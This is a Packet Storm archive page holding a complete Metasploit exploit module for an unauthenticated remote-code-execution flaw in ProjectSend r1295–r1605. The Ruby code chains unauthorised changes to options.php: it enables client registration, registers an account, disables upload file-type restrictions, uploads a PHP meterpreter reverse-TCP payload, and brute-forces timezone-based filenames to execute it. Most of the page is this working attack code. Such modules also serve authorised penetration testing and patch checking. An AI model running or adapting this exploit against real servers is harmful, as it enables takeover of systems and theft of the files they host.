what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ProjectSend R1605 Unauthenticated Remote Code Execution

ProjectSend R1605 Unauthenticated Remote Code Execution
Posted Nov 22, 2024
Site metasploit.com

This Metasploit module exploits an improper authorization vulnerability in ProjectSend versions r1295 through r1605. The vulnerability allows an unauthenticated attacker to obtain remote code execution by enabling user registration, disabling the whitelist of allowed file extensions, and uploading a malicious PHP file to the server.

tags | exploit, remote, php, code execution
SHA-256 | e395c3372dc6eda5878d64b4b3e2b759c5bfaffe8d57ca9fdfd36a0bab7bf55b

ProjectSend R1605 Unauthenticated Remote Code Execution

Change Mirror Download
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
prepend Msf::Exploit::Remote::AutoCheck

class CSRFRetrievalError < StandardError; end

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ProjectSend r1295 - r1605 Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an improper authorization vulnerability in ProjectSend versions r1295 through r1605.
The vulnerability allows an unauthenticated attacker to obtain remote code execution by enabling user registration,
disabling the whitelist of allowed file extensions, and uploading a malicious PHP file to the server.
},
'License' => MSF_LICENSE,
'Author' => [
'Florent Sicchio', # Discovery
'Hugo Clout', # Discovery
'ostrichgolf' # Metasploit module
],
'References' => [
['URL', 'https://github.com/projectsend/projectsend/commit/193367d937b1a59ed5b68dd4e60bd53317473744'],
['URL', 'https://www.synacktiv.com/sites/default/files/2024-07/synacktiv-projectsend-multiple-vulnerabilities.pdf'],
],
'DisclosureDate' => '2024-07-19',
'DefaultTarget' => 0,
'Targets' => [
[
'PHP Command',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new(
'TARGETURI',
[true, 'The TARGETURI for ProjectSend', '/']
)
]
)
end

def check
# Obtain the current title of the website
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')
})
return CheckCode::Unknown('Target is not reachable') unless res

# The title will always contain "»" ("&raquo;") regardless of localization. For example: "Log in » ProjectSend"
title_regex = %r{<title>.*?&raquo;\s+(.*?)</title>}
original_title = res.body[title_regex, 1]
csrf_token = ''

begin
csrf_token = get_csrf_token
rescue CSRFRetrievalError => e
return CheckCode::Unknown("#{e.class}: #{e}")
end

# Generate a new title for the website
random_new_title = Rex::Text.rand_text_alphanumeric(8)

# Test if the instance is vulnerable by trying to change its title
params = {
'csrf_token' => csrf_token,
'section' => 'general',
'this_install_title' => random_new_title
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),
'keep_cookie' => true,
'vars_post' => params
})

return CheckCode::Unknown('Failed to connect to the provided URL') unless res

# GET request to check if the title updated
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')
})

# Extract new title for comparison
updated_title = res.body[title_regex, 1]

if updated_title != random_new_title
return CheckCode::Safe
end

# If the title was changed, it is vulnerable and we should restore the original title
params = {
'csrf_token' => csrf_token,
'section' => 'general',
'this_install_title' => original_title
}
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),
'keep_cookie' => true,
'vars_post' => params
})

return CheckCode::Appears
end

def get_csrf_token
vprint_status('Extracting CSRF token...')
# Make sure we start from a request with no cookies
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),
'keep_cookies' => true
})

unless res
fail_with(Failure::Unknown, 'No response from server')
end

# Obtain CSRF token
csrf_token = res.get_html_document.xpath('//input[@name="csrf_token"]/@value')&.text

raise CSRFRetrievalError, 'CSRF token not found in the response' if csrf_token.nil? || csrf_token.empty?

vprint_good("Extracted CSRF token: #{csrf_token}")

csrf_token
end

def enable_user_registration_and_auto_approve
csrf_token = ''

begin
csrf_token = get_csrf_token
rescue CSRFRetrievalError => e
fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")
end

# Enable user registration, automatic approval of new users allow all users to upload files and allow users to delete their own files
params = {
'csrf_token' => csrf_token,
'section' => 'clients',
'clients_can_register' => 1,
'clients_auto_approve' => 1,
'clients_can_upload' => 1,
'clients_can_delete_own_files' => 1,
'clients_auto_group' => 0,
'clients_can_select_group' => 'none',
'expired_files_hide' => '1'
}
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),
'vars_post' => params
})

# Check if we successfully enabled clients registration
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')
})

if res&.code == 200 && res.body.include?('Register as a new client.')
print_good('Client registration successfully enabled')
else
fail_with(Failure::Unknown, 'Could not enable client registration')
end
end

def register_new_user(username, password)
cookie_jar.clear
csrf_token = ''

begin
csrf_token = get_csrf_token
rescue CSRFRetrievalError => e
fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")
end

# Create a new user with the previously generated username and password
params = {
'csrf_token' => csrf_token,
'name' => username,
'username' => username,
'password' => password,
'email' => Rex::Text.rand_mail_address,
'address' => Rex::Text.rand_text_alphanumeric(8)
}

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'register.php'),
'keep_cookie' => true,
'vars_post' => params
})

fail_with(Failure::Unknown, 'Could not create a new user') unless res&.code != 403
print_good("User #{username} created with password #{password}")
end

def disable_upload_restrictions
cookie_jar.clear
csrf_token = ''

begin
csrf_token = get_csrf_token
rescue CSRFRetrievalError => e
fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")
end

print_status('Disabling upload restrictions...')

# Disable upload restrictions, to allow us to upload our shell
params = {
'csrf_token' => csrf_token,
'section' => 'security',
'file_types_limit_to' => 'noone'
}

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),
'keep_cookie' => true,
'vars_post' => params
})
end

def login(username, password)
cookie_jar.clear
csrf_token = ''

begin
csrf_token = get_csrf_token
rescue CSRFRetrievalError => e
fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")
end

print_status("Logging in as #{username}...")

# Attempt to login as our newly created user
params = {
'csrf_token' => csrf_token,
'do' => 'login',
'username' => username,
'password' => password
}

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),
'vars_post' => params,
'keep_cookies' => true
})

# Version r1295 does not set a cookie on login, instead we check for a redirect to the expected page indicating a successful login
if res&.headers&.[]('Set-Cookie') || (res&.code == 302 && res&.headers&.[]('Location')&.include?('/my_files/index.php'))
print_good("Logged in as #{username}")
return csrf_token
else
fail_with(Failure::NoAccess, 'Failed to authenticate. This can happen, you should try to execute the exploit again')
end
end

def upload_file(username, password, filename)
login(username, password)

# Craft the payload
payload = get_write_exec_payload(unlink_self: true)
data = Rex::MIME::Message.new
data.add_part(filename, nil, nil, 'form-data; name="name"')
data.add_part(payload, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{Rex::Text.rand_text_alphanumeric(8)}\"")
post_data = data.to_s

# Upload the shell using a POST request
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'includes', 'upload.process.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'keep_cookies' => true
})

# Check if the server confirms our upload as successful
if res && res.body.include?('"OK":1')
print_good("Successfully uploaded PHP file: #{filename}")

json_response = res.get_json_document
@file_id = json_response.dig('info', 'id')

return res.headers['Date']
else
fail_with(Failure::Unknown, 'PHP file upload failed')
end
end

def calculate_potential_filenames(username, upload_time, filename)
# Hash the username
hashed_username = Digest::SHA1.hexdigest(username)

# Parse the upload time
base_time = Time.parse(upload_time).utc

# Array to store all possible URLs
possible_urls = []

# Iterate over all timezones
(-12..14).each do |timezone|
# Update the variable to reflect the currently looping timezone
adj_time = base_time + (timezone * 3600)

# Insert the potential URL into our array
possible_urls << "#{adj_time.to_i}-#{hashed_username}-#{filename}"
end

possible_urls
end

def cleanup
super

# Delete uploaded file
if @file_id
cookie_jar.clear
csrf_token = login(@username, @password)

# Delete our uploaded payload from the portal
params = {
'csrf_token' => csrf_token,
'action' => 'delete',
'batch[]' => @file_id
}
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'manage-files.php'),
'vars_post' => params,
'keep_cookies' => true
})

# Version r1295 uses a GET request to delete the uploaded file
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'manage-files.php'),
'keep_cookies' => true,
'vars_get' => {
'action' => 'delete',
'batch[]' => @file_id
}
})
end

cookie_jar.clear
csrf_token = ''

begin
csrf_token = get_csrf_token
rescue CSRFRetrievalError => e
fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")
end

# Disable user registration, automatic approval of new users, disallow all users to upload files and prevent users from deleting their own files
params = {
'csrf_token' => csrf_token,
'section' => 'clients',
'clients_can_register' => 0,
'clients_auto_approve' => 0,
'clients_can_upload' => 0,
'clients_can_delete_own_files' => 0
}
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),
'vars_post' => params
})

# Check if we successfully disabled client registration
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')
})

if res&.body&.include?('Register as a new client.')
fail_with(Failure::Unknown, 'Could not disable client registration')
end
print_good('Client registration successfully disabled')

print_status('Enabling upload restrictions...')

# Enable upload restrictions for every user
params = {
'csrf_token' => csrf_token,
'section' => 'security',
'file_types_limit_to' => 'all'
}

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),
'vars_post' => params
})
end

def trigger_shell(potential_urls)
# Visit each URL, to trigger our payload
potential_urls.each do |url|
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'upload', 'files', url)
}, 1)
end
end

def exploit
enable_user_registration_and_auto_approve

username = Faker::Internet.username
password = Rex::Text.rand_text_alphanumeric(8)
filename = Rex::Text.rand_text_alphanumeric(8) + '.php'

# Set instance variables for cleanup function
@username = username
@password = password

register_new_user(username, password)

disable_upload_restrictions

upload_time = upload_file(username, password, filename)

potential_urls = calculate_potential_filenames(username, upload_time, filename)

trigger_shell(potential_urls)
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close